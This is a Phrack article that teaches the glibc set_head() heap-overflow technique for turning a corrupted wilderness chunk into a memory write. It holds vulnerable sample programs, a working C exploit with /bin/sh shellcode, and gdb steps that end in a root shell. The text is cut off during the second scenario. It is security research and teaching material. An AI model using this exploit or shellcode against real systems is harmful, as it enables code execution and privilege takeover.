_ _ _/B\_ _/W\_ (* *) Phrack #64 file 9 (* *) | - | | - | | | The use of set_head to defeat the wilderness | | | | | | | | By g463 | | | | | | | | jean-sebastien@guay-leroux.com | | (________________________________________________________) 1 - Introduction 2 - The set_head() technique 2.1 - A look at the past - "The House of Force" technique 2.2 - The basics of set_head() 2.3 - The details of set_head() 3 - Automation 3.1 - Define the basic properties 3.2 - Extract the formulas 3.3 - Compute the values 4 - Limitations 4.1 - Requirements of two different techniques 4.1.1 - The set_head() technique 4.1.2 - The "House of Force" technique 4.2 - Almost 4 bytes to almost anywhere technique 4.2.1 - Everything in life is a multiple of 8 4.2.2 - Top chunk's size needs to be bigger than the requested malloc size 4.2.3 - Logical OR with PREV_INUSE 5 - Taking set_head() to the next level 5.1 - Multiple overwrites 5.2 - Infoleak 6 - Examples 6.1 - The basic scenarios 6.1.1.1 - The most basic form of the set_head() technique 6.1.1.2 - Exploit 6.1.2.1 - Multiple overwrites 6.1.2.2 - Exploit 6.2 - A real case scenario: file(1) utility 6.2.1 - The hole 6.2.2 - All the pieces fall into place 6.2.3 - hanuman.c 7 - Final words 8 - References --[ 1 - Introduction Many papers have been published in the past describing techniques on how to take advantage of the inbound memory management in the GNU C Library implementation. A first technique was introduced by Solar Designer in his security advisory on a flaw in the Netscape browser[1]. Since then, many improvements have been made by many different individuals ([2], [3], [4], [5], [6] just to name a few). However, there is always one situation that gives a lot more trouble than others. Anyone who has already tried to take advantage of that situation will agree. How to take control of a vulnerable program when the only critical information that you can overwrite is the header of the wilderness chunk? The set_head technique is a new way to obtain a "write almost 4 arbitrary bytes to almost anywhere" primitive. It was born because of a bug in the file(1) utility that the author was unable to exploit with existing techniques. This paper will present the details of the technique. Also, it will show you how to practically apply this technique to other exploits. The limitations of the technique will also be presented. Finally, some examples will be shown to better understand the various aspects of the technique. --[ 2 - The set_head() technique Most of the time, people who write exploits using malloc techniques are not aware of the difficulties that the wilderness chunk implies until they face the problem. It is only at this exact time that they realize how the known techniques (i.e. unlink, etc.) have no effect on this particular context. As MaXX once said [3]: "The wilderness chunk is one of the most dangerous opponents of the attacker who tries to exploit heap mismanagement. Because this chunk of memory is handled specially by the dlmalloc internal routines, the attacker will rarely be able to execute arbitrary code if they solely corrupt the boundary tag associated with the wilderness chunk." ----[ 2.1 - A look at the past - "The House of Force" technique To better understand the details of the set_head() technique explained in this paper, it would be helpful to first understand what has already been done on the subject of exploiting the top chunk. This is not the first time that the exploitation of the wilderness chunk has been specifically targeted. The pioneer of this type of exploitation is Phantasmal Phantasmagoria. He first wrote an article entitled "Exploiting the wilderness" about it in 2004. Details of this technique are out of scope for the current paper, but you can learn more about it by reading his paper [5]. He gave a second try at exploiting the wilderness in his excellent paper "Malloc Maleficarum" [4]. He named his technique "The House of Force". To better understand the set_head() technique, the "House of Force" is described below. The idea behind "The House of Force" is quite simple but there are specific steps that need to be followed. Below, you will find a brief summary of all the steps. Step one: The first step in the "House of Force" consists in overflowing the size field of the top chunk to make the malloc library think it is bigger than it actually is. The preferred new size of the top chunk should be 0xffffffff. Below is a an ascii graphic of the memory layout at the time of the overflow. Notice that the location of the top chunk is somewhere in the heap. 0xbfffffff -> +-----------------+ | | | stack | | | : : : : . . : : : : | | | | | heap |<--- Top chunk | | +-----------------+ | global offset | | table | +-----------------+ | | | | | text | | | | | 0x08048000 -> +-----------------+ Step two: After this, a call to malloc with a user-supplied size should be issued. With this call, the top chunk will be split in two parts. One part will be returned to the user, and the other part will be the remainder chunk (the top chunk). The purpose of this step is to move the top chunk right before a global offset table entry. The new location of the top chunk is the sum of the current address of the top chunk and the value of the malloc call. This sum is done with the following line of code: --[ From malloc.c remainder = chunk_at_offset(victim, nb); After the malloc call, the memory layout should be similar to the representation below: 0xbfffffff -> +-----------------+ | | | stack | | | : : : : . . : : : : | | | | | heap | | | +-----------------+ | global offset | | table | +-----------------+<--- Top chunk | | | | | text | | | | | 0x08048000 -> +-----------------+ Step three: Finally, another call to malloc needs to be done. This one needs to be large enough to trigger the top chunk code. If the user has some sort of control over the content of this buffer, he can then overwrite entries inside the global offset table and he can seize control of the process. Look at the following representation for the current memory layout at the time of the allocation: 0xbfffffff -> +-----------------+ | | | stack | | | : : : : . . : : : : | | | | | heap |<---- Top chunk | |---+ +-----------------+ | | global offset | |- Allocated memory | table | | +-----------------+---+ | | | | | text | | | | | 0x08048000 -> +-----------------+ ----[ 2.2 - The basics of set_head() Now that the basic review of the "House of Force" technique is done, let's look at the set_head() technique. The basic idea behind this technique is to use the set_head() macro to write almost four arbitrary bytes to almost anywhere in memory. This macro is normally used to set the value of the size field of a memory chunk to a specific value. Let's have a peak at the code: --[ From malloc.c: /* Set size/use field */ #define set_head(p, s) ((p)->size = (s)) This line is very simple to understand. It takes the memory chunk 'p', modifies its size field and replace it with the value of the variable 's'. If the attacker has control of those two parameters, it may be possible to modify the content of an arbitrary memory location with a value that he controls. To trigger the particular call to set_head() that could lead to this arbitrary overwrite, two specific steps need to be followed. These steps are described below. First step: The first step of the set_head() technique consists in overflowing the size field of the top chunk to make the malloc library think it is bigger than it actually is. The specific value that you will overwrite with will depend on the parameters of the exploitable situation. Below is an ascii graphic of the memory layout at the time of the overflow. Notice that the location of the top chunk is somewhere in the heap. 0xbfffffff -> +-----------------+ | | | stack | | | : : : : . . : : : : | | | | | heap |<--- Top chunk | | +-----------------+ | | | data | | | +-----------------+ | | | | | text | | | | | 0x08048000 -> +-----------------+ Second step: After this, a call to malloc with a user-supplied size should be issued. With this call, the top chunk will be split in two parts. One part will be returned to the user, and the other part will be the remainder chunk (the top chunk). The purpose of this step is to move the top chunk before the location that you want to overwrite. This location needs to be on the stack, and you will see why at section 4.2.2. During this step, the malloc code will set the size of the new top chunk with the set_head() macro. Look at the representation below to better understand the memory layout at the time of the overwrite: 0xbfffffff -> +-----------------+ | | | stack | | | +-----------------+ | size of topchunk| +-----------------+ |prev_size not use| +-----------------+<--- Top chunk | | : : : : . . : : : : | | | | | heap | | | +-----------------+ | | | data | | | +-----------------+ | | | | | text | | | | | 0x08048000 -> +-----------------+ If you control the new location of the top chunk and the new size of the top chunk, you can get a "write almost 4 arbitrary bytes to almost anywhere" primitive. ----[ 2.3 - The details of set_head() The set_head macro is used many times in the malloc library. However, it's used at a particularly interesting emplacement where it's possible to influence its parameters. This influence will let the attacker overwrite 4 bytes in memory with a value that he can control. When there is a call to malloc, different methods are tried to allocate the requested memory. MaXX did a pretty great job at explaining the malloc algorithm in section 3.5.1 of his text[3]. Reading his text is highly suggested before continuing with this text. Here are the main points of the algorithm: 1. Try to find a chunk in the bin corresponding to the size of the request; 2. Try to use the remainder chunk; 3. Try to find a chunk in the regular bins. If those three steps fail, interesting things happen. The malloc function tries to split the top chunk. The 'use_top' code portion is then called. It's in that portion of code that it's possible to take advantage of a call to set_head(). Let's analyze the use_top code: --[ From malloc.c 01 Void_t* 02 _int_malloc(mstate av, size_t bytes) 03 { 04 INTERNAL_SIZE_T nb; /* normalized request size */ 05 06 mchunkptr victim; /* inspected/selected chunk */ 07 INTERNAL_SIZE_T size; /* its size */ 08 09 mchunkptr remainder; /* remainder from a split */ 10 unsigned long remainder_size; /* its size */ 11 12 13 checked_request2size(bytes, nb); 14 15 [ ... ] 16 17 use_top: 18 19 victim = av->top; 20 size = chunksize(victim); 21 22 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 23 remainder_size = size - nb; 24 remainder = chunk_at_offset(victim, nb); 25 av->top = remainder; 26 set_head(victim, nb | PREV_INUSE | 27 (av != &main_arena ? NON_MAIN_ARENA : 0)); 28 set_head(remainder, remainder_size | PREV_INUSE); 29 30 check_malloced_chunk(av, victim, nb); 31 return chunk2mem(victim); 32 } All the magic happens at line 28. By forcing a particular context inside the application, it's possible to control set_head's parameters and then overwrite almost any memory addresses with almost four arbitrary bytes. Let's see how it's possible to control these two parameters, which are 'remainder' and 'remainder_size' : 1. How to get control of 'remainder_size': a. At line 13, 'nb' is filled with the normalized size of the value of the malloc call. The attacker should have control on the value of this malloc call. b. Remember that this technique requires that the size field of the top chunk needs to be overwritten by the overflow. At line 19 & 20, the value of the overwritten size field of the top chunk is getting loaded in 'size'. c. At line 22, a check is done to ensure that the top chunk is large enough to take care of the malloc request. The attacker needs that this condition evaluates to true to reach the set_head() macro at line 28. d. At line 23, the requested size of the malloc call is subtracted from the size of the top chunk. The remaining value is then stored in 'remainder_size'. 2. How to get control of 'remainder': a. At line 13, 'nb' is filled with the normalized size of the value of the malloc call. The attacker should have control of the value of this malloc call. b. Then, at line 19, the variable 'victim' gets filled with the address of the top chunk. c. After this, at line 24, chunk_at_offset() is called. This macro adds the content of 'nb' to the value of 'victim'. The result will be stored in 'remainder'. Finally, at line 28, the set_head() macro modifies the size field of the fake remainder chunk and fills it with the content of the variable 'remainder_size'. This is how you get your "write almost 4 arbitrary bytes to almost anywhere in memory" primitive. --[ 3 - Automation It was explained in section 2.3 that the variables 'remainder' and 'remainder_size' will be used as parameters to the set_head macro. The following steps will explain how to proceed in order to get the desired value in those two variables. ----[ 3.1 - Define the basic properties Before trying to exploit a security hole with the set_head technique, the attacker needs to define the parameters of the vulnerable context. These parameters are: 1. The return location: This is the location in memory that you want to write to. It is often referred as 'retloc' through this paper. 2. The return address: This is the content that you will write to your return location. Normally, this will be a memory address that points to your shellcode. It is often referred as 'retadr' through this paper. 3. The location of the topchunk: To use this technique, you must know the exact position of the top chunk in memory. This location is often referred as 'toploc' through this paper. ----[ 3.2 - Extract the formulas The attacker has control on two things during the exploitation stage. First, the content of the overwritten top chunk's size field and secondly, the size parameter to the malloc call. The values that the attacker chooses for these will determine the exact content of the variables 'remainder' and 'remainder_size' later used by the set_head() macro. Below, two formulas are presented to help the attacker find the appropriate values. 1. How to get the value for the malloc parameter: a. The following line is taken directly from the malloc.c code: remainder = chunk_at_offset(victim, nb) b. 'nb' is the normalized value of the malloc call. It's the result of the macro request2size(). To make things simpler, let's add 8 to this value to take care of this macro: remainder = chunk_at_offset(victim, nb + 8) c. chunk_at_offset() adds the normalized size 'nb' to the top chunk's location: remainder = toploc + (nb + 8) e. 'remainder' is the return location (i.e. 'retloc') and 'nb' is the malloc size (i.e. 'malloc_size'): retloc = toploc + (malloc_size + 8) d. Isolate the 'malloc_size' variable to get the final formula: malloc_size = (retloc - toploc - 8) 2. The second formula is how to get the new size of the top chunk. a. The following line is taken directly from the malloc.c code: remainder_size = size - nb; b. 'size' is the size of the top chunk (i.e. 'topchunk_size'), and 'nb' is the normalized parameter of the malloc call (i.e. 'malloc_size'): remainder_size = topchunk_size - malloc_size c. 'remainder_size' is in fact the return address (i.e. retadr'): retadr = topchunk_size - malloc_size d. Isolate 'topchunk_size' to get the final formula: topchunk_size = retadr + malloc_size e. topchunk_size will get its three least significant bits cleared by the macro chunksize(). Let's consider this in the formula by adding 8 to the right side of the equation: topchunk_size = (retadr + malloc_size + 8) g. Take into consideration that the PREV_INUSE flag is being set in the set_head() macro: topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE ----[ 3.3 - Compute the values You now have the two basic formulas: 1. malloc_size = (retloc - toploc - 8) 2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE You can now proceed with finding the exact values that you will plug into your exploit. To facilitate the integration of those formulas in your exploit code, you can use the set_head_compute() function found in the file(1) utility exploit code (refer to section 6.2.3). Here is the prototype of the function: struct sethead * set_head_compute (unsigned int retloc, unsigned int retadr, unsigned int toploc) The structure returned by the function set_head_compute() is defined this way: struct sethead { unsigned long topchunk_size; unsigned long malloc_size; } By giving this function your return location, your return address and your top chunk location, it will compute the exact malloc size and top chunk size to use in your exploit. It will also tell you if it's possible to execute the requested write operation based on the return address and the return location you have chosen. --[ 4 - Limitations At the time of writing this paper, there was no simple and easy way to exploit a heap overflow when the top chunk is involved. Each exploitation technique needs a particular context to work successfully. The set_head technique is no different. It has some requirements to work properly. Also, it's not a real "write 4 arbitrary bytes to anywhere" primitive. In fact, it would be more of a "write almost 4 arbitrary bytes to almost anywhere in memory" primitive. ----[ 4.1 - Requirements of two different techniques Specific elements need to be present to exploit a situation in which the wilderness chunk is involved. These elements tend to impose a lot of constraints when trying to exploit a program. Below, the requirements for the set_head technique are listed, alongside those of the "House of Force" technique. As you will see, each technique has its pros and cons. ------[ 4.1.1 - The set_head() technique Minimum requirements: 1. The size field of the topchunk needs to be overwritten with a value that the attacker can control; 2. Then, there is a call to malloc with a parameter that the attacker can control; This technique will let you write almost 4 arbitrary bytes to almost anywhere. ------[ 4.1.2 The "House of Force" technique Minimum requirements: 1. The size field of the topchunk must be overwritten with a very large value; 2. Then, there must be a first call to malloc with a very large size. An important point is that this same allocated buffer should only be freed after the third step. 3. Finally, there should be a second call to malloc. This buffer should then be filled with some user supplied data. This technique will, in the best-case scenario, let you overwrite any region in memory with a string of an arbitrary length that you control. ----[ 4.2 - Almost 4 bytes to almost anywhere technique This set_head technique is not really a "write 4 arbitrary bytes anywhere in memory" primitive. There are some restrictions in malloc.c that greatly limit the possible values an attacker can use for the return location and the return address in an exploit. Still, it's possible to run arbitrary code if you carefully choose your values. Below you will find the three main restrictions of this technique: ------[ 4.2.1 - Everything in life is a multiple of 8 A disadvantage of the set_head technique is the presence of macros that ensure memory locations and values are a multiple of 8 bytes. These macros are: - checked_request2size() and - chunksize() Ultimately, this will have some influence on the selection of the return location and the return address. The memory addresses that you can overwrite with the set_head technique need to be aligned on a 8 bytes boundary. Interesting locations to overwrite on the stack usually include a saved EIP of a stack frame or a function pointer. These pointers are aligned on a 4 bytes boundary, so with this technique, you will be able to modify one memory address on two. The return address will also need to be a multiple of 8 (not counting the logical OR with PREV_INUSE). Normally, the attacker has the possibility of providing a NOP cushion right before his shellcode, so this is not really a big issue. ------[ 4.2.2 - Top chunk's size needs to be bigger than the requested malloc size This is the main disadvantage of the set_head technique. For the top chunk code to be triggered and serve the memory request, there is a verification before the top chunk code is executed: --[ From malloc.c if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { In short, this line requires that the size of the top chunk is bigger than the size requested by the malloc call. Since the variable 'size' and 'nb' are computed from the return location, the return address and the top chunk's location, it will greatly limit the content and the location of the arbitrary overwrite operation. There is still a valid combination of a return address and a return location that exists. Let's see what the value of 'size' and 'nb' for a given return location and return address will be. Let's find out when there is a situation in which 'size' is greater than 'nb'. Consider the fact that the location of the top chunk is static and it's at 0x080614f8: +------------+------------++------------+------------+ | return | return || size | nb | | location | address || | | +------------+------------++------------+------------+ | 0x0804b150 | 0x08061000 || 134523993 | 4294876240 | | 0x0804b150 | 0xbffffbaa || 3221133059 | 4294876240 | | 0xbffffaaa | 0xbffffbaa || 2012864861 | 3086607786 | | 0xbffffaaa | 0x08061000 || 3221222835 | 3086607786 | <- !!!!! +------------+------------++------------+------------+ As you can see from this chart, the only time that you get a situation where 'size' is greater than 'nb' is when your return location is somewhere in the stack and when your return address is somewhere in the heap. ------[ 4.2.3 - Logical OR with PREV_INUSE When the set_head macro is called, 'remainder_size', which is the return address, will be altered by a logical OR with the flag PREV_INUSE: --[ From malloc.c #define PREV_INUSE 0x1 set_head(remainder, remainder_size | PREV_INUSE); It was said in section 4.2.1 that the return address will always be a multiple of 8 bytes due to the normalisation of some macros. With the PREV_INUSE logical OR, it will be a multiple of 8 bytes, plus 1. With an NOP cushion, this problem is solved. Compared to the previous two, this restriction is a very small one. --[ 5 - Taking set_head() to the next level As a general rule, hackers try to make their exploit as reliable as possible. Exploiting a vulnerability in a confined lab and in the wild are two different things. This section will try to present some techniques to improve the reliability of the set_head technique. ----[ 5.1 - Multiple overwrites One way to make the exploitation process a lot more reliable is by using multiple overwrites. Indeed, having the possibility of overwriting a memory location with 4 bytes is good, but the possibility to write multiple times to memory is even better[8]. Being able to overwrite multiple memory locations with set_head will increase your chance of finding a valid return location on the stack. A great advantage of the set_head technique is that it does not corrupt internal malloc information in a way that prevents the program from working properly. This advantage will let you safely overwrite more than one memory location. To correctly put this technique in place, the attacker will need to start overwriting addresses at the top of the stack, and go downward until he seizes control of the program. Here are the possible addresses that set_head() lets you overwrite on the stack: 1: 0xbffffffc 2: 0xbffffff4 3: 0xbfffffec 4: 0xbfffffe4 5: 0xbfffffdc 6: 0xbfffffd4 7: 0xbfffffcc 8: 0xbfffffc4 9: ... Eventually, the attacker will fall on a memory location which is a saved EIP in a stack frame. If he's lucky enough, this new saved EIP will be popped in the EIP register. Remember that for a successfull overwrite, the attacker needs to do two things: 1. Overwrite the top chunk with a specific value; 2. Make a call to malloc with a specific value. Based on the formulas that were found in section 3.3, let's compute the values for the top chunk size and the size for the malloc call for each overwrite operation. Let's take the following values for an example case: The location of the top chunk: 0x08050100 The return address: 0x08050200 The return location: Decrementing from 0xbffffffc to 0xbfffffc4 +------------++------------+------------+ | return || top chunk | malloc | | location || size | size | +------------++------------+------------+ +------------++------------+------------+ | 0xbffffffc || 3221225725 | 3086679796 | | 0xbffffff4 || 3221225717 | 3086679788 | | 0xbfffffec || 3221225709 | 3086679780 | | 0xbfffffe4 || 3221225701 | 3086679772 | | 0xbfffffdc || 3221225693 | 3086679764 | | 0xbfffffd4 || 3221225685 | 3086679756 | | 0xbfffffcc || 3221225677 | 3086679748 | | 0xbfffffc4 || 3221225669 | 3086679740 | | ... || ... | ... | +------------++------------+------------+ By looking at this chart, you can determine that for each overwrite operation, the attacker would need to overwrite the size of the top chunk with a new value and make a call to malloc with an arbitrary value. Would it be possible to improve this a little bit? It would be great if the only thing you needed to change between each overwrite operation was the size of the malloc call, leaving the size of the top chunk untouched. Indeed, it's possible. Look closely at the functions used to compute malloc_size and topchunk_size. Let's say the attacker has only one possibility to overwrite the size of the top chunk, would it still be possible to do multiple overwrites using the set_head technique while keeping the same size for the top chunk? 1. malloc_size = (retloc - toploc - 8) 2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE If you look at how 'topchunk_size' is computed, it seems possible. By changing the value of 'retloc', it will affect 'malloc_size'. Then, 'malloc_size' is used to compute 'topchunk_size'. By playing with 'retadr' in the second formula, you can always hit the same 'topchunk_size'. Let's look at the same example, but this time with a changing return address. While the return location is decrementing by 8, let's increment the return address by 8. +------------+-----------++------------+------------+ | return | return || top chunk | malloc | | location | address || size | size | +------------+-----------++------------+------------+ +------------+-----------++------------+------------+ | 0xbffffffc | 0x8050200 || 3221225725 | 3086679796 | | 0xbffffff4 | 0x8050208 || 3221225725 | 3086679788 | | 0xbfffffec | 0x8050210 || 3221225725 | 3086679780 | | 0xbfffffe4 | 0x8050218 || 3221225725 | 3086679772 | | 0xbfffffdc | 0x8050220 || 3221225725 | 3086679764 | | 0xbfffffd4 | 0x8050228 || 3221225725 | 3086679756 | | 0xbfffffcc | 0x8050230 || 3221225725 | 3086679748 | | 0xbfffffc4 | 0x8050238 || 3221225725 | 3086679740 | | ... | ... || ... | ... | +------------+-----------++------------+------------+ You can see that the size of the top chunk is always the same. On the other hand, the return address changes through the multiple overwrites. The attacker needs to have an NOP cushion big enough to adapt to this variation. Refer to section 6.1.2.1 to get a sample vulnerable scenario exploitable with multiple overwrites. ----[ 5.2 - Infoleak As was stated in the Shellcoder's Handbook[9]: "An information leak can make even a difficult bug possible". Most of the time, people who write exploits try to make them as reliable as possible. If hackers, using an infoleak technique, can improve the reliability of the set_head technique, well, that's pretty good. The technique is already hard to use because it relies on unknown memory locations, which are: - The return location - The top chunk location - The return address When there is an overwrite operation, if the attacker is able to tell if the program has crashed or not, he can turn this to his advantage. Indeed, this knowledge could help him find one parameter of the exploitable situation, which is the top chunk location. The theory behind this technique is simple. If the attacker has the real address of the top chunk, he will be able to write at the address 0xbffffffc but not at the address 0xc0000004. Indeed, a write operation at the address 0xbffffffc will work because this address is in the stack and its purpose is to store the environment variables of the program. It does not significantly affect the behaviour of the program, so the program will still continue to run normally. On the other hand, if the attacker wrote in memory starting from 0xc0000000, there will be a segmentation fault because this memory region is not mapped. After this violation, the program will crash. To take advantage of this behaviour, the attacker will have to do a series of write operations while incrementing or decrementing the location of the top chunk. For each top chunk location tried, there should be 6 write operations. Below, you will find the parameters of the exploitable situation to use during the 6 write operations. The expected result is in the right column of the chart. If you get these results, then the value used for the location of the top chunk is the right one. +------------+------------++--------------+ | return | return || Did it | | location | address || segfault ? | +------------+------------++--------------+ +------------+------------++--------------+ | 0xc0000014 | 0x07070707 || Yes | | 0xc000000c | 0x07070707 || Yes | | 0xc0000004 | 0x07070707 || Yes | | 0xbffffffc | 0x07070707 || No | | 0xbffffff4 | 0x07070707 || No | | 0xbfffffec | 0x07070707 || No | +------------+------------++--------------+ If the six write operations made the program segfault each time, then the attacker is probably writing after 0xbfffffff or below the limit of the stack. If the 6 write operations succeeded and the program did not crash, then it probably means that the attacker overwrote some values in the stack. In that case, decrement the value of the top chunk location to use. --[ 6 - Examples The best way to learn something new is probably with the help of examples. Below, you will find some vulnerable codes and their exploits. A scenario-based approach is taken here to demonstrate the exploitability of a situation. Ultimately, the exploitability of a context can be defined by specific characterictics. Also, the application of the set_head() technique on a real life example is shown with the file(1) utility vulnerability. The set_head technique was found to exploit this specific vulnerability. ----[ 6.1 - The basic scenarios To simplify things, it's useful to define exploitable contexts in terms of scenarios. For each specific scenario, there should be a specific way to exploit it. Once the reader has learned those scenarios, he can then match them with vulnerable situations in softwares. He will then know exactly what approach to use to make the most out of the vulnerability. ------[ 6.1.1.1 - The most basic form of the set_head() technique This scenario is the most basic form of the application of the set_head() technique. This is the approach that was used in the file(1) utility exploit. --------------------------- scenario1.c ----------------------------------- #include #include int main (int argc, char *argv[]) { char *buffer1; char *buffer2; unsigned long size; /* [1] */ buffer1 = (char *) malloc (1024); /* [2] */ sprintf (buffer1, argv[1]); size = strtoul (argv[2], NULL, 10); /* [3] */ buffer2 = (char *) malloc (size); return 0; } --------------------------- end of scenario1.c ---------------------------- Here is a brief description of the important lines in this code: [1]: The top chunk is split and a memory region of 1024 bytes is requested. [2]: A sprintf call is made. The destination buffer is not checked to see if it is large enough. The top chunk can then be overwritten here. [3]: A call to malloc with a user-supplied size is done. ------[ 6.1.1.2 - Exploit --------------------------- exp1.c ---------------------------------------- /* Exploit for scenario1.c */ #include #include #include #include // The following #define are from malloc.c and are used // to compute the values for the malloc size and the top chunk size. #define PREV_INUSE 0x1 #define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA #define SIZE_SZ (sizeof(size_t)) #define MALLOC_ALIGNMENT (2 * SIZE_SZ) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MIN_CHUNK_SIZE 16 #define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)) #define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK) struct sethead { unsigned long topchunk_size; unsigned long malloc_size; }; /* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e" "\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1" "\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a" "\xc6\x2f\x40\xb3"; struct sethead * set_head_compute (unsigned long retloc, unsigned long retadr, unsigned long toploc) { unsigned long check_retloc, check_retadr; struct sethead *shead; shead = (struct sethead *) malloc (8); if (shead == NULL) { fprintf (stderr, "--[ Could not allocate memory for sethead structure\n"); exit (1); } if ( (toploc % 8) != 0 ) { fprintf (stderr, "--[ Impossible to use 0x%x as the top chunk location.", toploc); toploc = toploc - (toploc % 8); fprintf (stderr, " Using 0x%x instead\n", toploc); } else fprintf (stderr, "--[ Using 0x%x as the top chunk location.\n", toploc); // The minus 8 is to take care of the normalization // of the malloc parameter shead->malloc_size = (retloc - toploc - 8); // By adding the 8, we are able to sometimes perfectly hit // the return address. To hit it perfectly, retadr must be a multiple // of 8 + 1 (for the PREV_INUSE flag). shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; if (shead->topchunk_size < shead->malloc_size) { fprintf (stderr, "--[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "--[ Topchunk code will not be triggered\n"); exit (1); } check_retloc = (toploc + request2size (shead->malloc_size) + 4); if (check_retloc != retloc) { fprintf (stderr, "--[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else fprintf (stderr, "--[ Using 0x%x as the return location.\n", retloc); check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) - request2size (shead->malloc_size)) | PREV_INUSE; if (check_retadr != retadr) { fprintf (stderr, "--[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else fprintf (stderr, "--[ Using 0x%x as the return address.\n", retadr); return shead; } void put_byte (char *ptr, unsigned char data) { *ptr = data; } void put_longword (char *ptr, unsigned long data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); put_byte (ptr + 2, data >> 16); put_byte (ptr + 3, data >> 24); } int main (int argc, char *argv[]) { char *buffer; char malloc_size_string[20]; unsigned long retloc, retadr, toploc; unsigned long topchunk_size, malloc_size; struct sethead *shead; if ( argc != 4) { printf ("wrong number of arguments, exiting...\n\n"); printf ("%s \n\n", argv[0]); return 1; } sscanf (argv[1], "0x%x", &retloc); sscanf (argv[2], "0x%x", &retadr); sscanf (argv[3], "0x%x", &toploc); shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead->topchunk_size; malloc_size = shead->malloc_size; buffer = (char *) malloc (1036); memset (buffer, 0x90, 1036); put_longword (buffer+1028, topchunk_size); memcpy (buffer+1028-strlen(scode), scode, strlen (scode)); buffer[1032]=0x0; snprintf (malloc_size_string, 20, "%u", malloc_size); execl ("./scenario1", "scenario1", buffer, malloc_size_string, NULL); return 0; } --------------------------- end of exp1.c --------------------------------- Here are the steps to find the 3 memory values to use for this exploit. 1- The first step is to generate a core dump file from the vulnerable program. You will then have to analyze this core dump to find the proper values for your exploit. To generate the core file, get an approximation of the top chunk location by getting the base address of the BSS section. Normally, the heap will start just after the BSS section: bash$ readelf -S ./scenario1 | grep bss [22] .bss NOBITS 080495e4 0005e4 000004 The BSS section starts at 0x080495e4. Let's call the exploit the following way, and remember to replace 0x080495e4 for the BSS value you have found: bash$ ./exp1 0xc0c0c0c0 0x080495e4 0x080495e4 --[ Impossible to use 0x80495e4 as the top chunk location. Using 0x80495e0 instead --[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead --[ Impossible to use 0x80495e4 as the return address. Using 0x80495e1 instead Segmentation fault (core dumped) bash$ 2- Call gdb on that core dump file. bash$ gdb -q scenario1 core.2212 Core was generated by `scenario1'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/debug/libc.so.6...done. Loaded symbols for /usr/lib/debug/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082 4082 set_head(remainder, remainder_size | PREV_INUSE); (gdb) 3- The ESI register contains the address of the top chunk. It might be another register for you. (gdb) info reg esi esi 0x8049a38 134519352 (gdb) 4- Start searching before the location of the top chunk to find the NOP cushion. This will be the return address. 0x8049970: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049980: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049990: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499a0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499b0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499c0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499d0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499e0: 0x90909090 0x90909090 0x90909090 0xe983c931 0x80499f0: 0xd9eed9f5 0x5bf42474 0x27137381 0x83b3c0e2 0x8049a00: 0xf4e2fceb 0x2a98e94d 0x9ea88475 0xdb276b44 (gdb) 0x8049990 is a valid address. 5- To get the return location for your exploit, get a saved EIP from a stack frame. (gdb) frame 2 #2 0x0804840a in main () (gdb) x $ebp+4 0xbffff52c: 0x4002980c (gdb) 0xbffff52c is the return location. 6- You can now call the exploit with the values that you have found. bash$ ./exp1 0xbffff52c 0x8049990 0x8049a38 --[ Using 0x8049a38 as the top chunk location. --[ Using 0xbffff52c as the return location. --[ Impossible to use 0x8049990 as the return address. Using 0x8049991 instead sh-2.05b# exit exit bash$ ------[ 6.1.2.1 - Multiple overwrites This scenario is an example of a situation where it could be possible to leverage the set_head() technique to make it write multiple times in memory. Applying this technique will help you improve the reliability of the exploit. It will increase your chances of finding a valid return location while you are exploiting the program. --------------------------- scenario2.c ----------------------------------- #include #include #include int main (int argc, char *argv[]) { char *buffer1; char *buffer2; unsigned long size; /* [1] */ buffer1 = (char *) malloc (4096); /* [2] */ fgets (buffer1, 4200, stdin); /* [3] */ do { size = 0; scanf ("%u", &size); /* [4] */ buffer2 = (char *) malloc (size); /* * Random code */ /* [5] */ free (buffer2); } while (size != 0); return 0; } ------------------------- end of scenario2.c ------------------------------ Here is a brief description of the important lines in this code: [1]: A memory region of 4096 bytes is requested. The top chunk is split and the request is serviced. [2]: A call to fgets is made. The destination buffer is not checked to see if it is large enough. The top chunk can then be overwritten here. [3]: The program enters a loop. It reads from 'stdin' until the number '0' is entered. [4]: 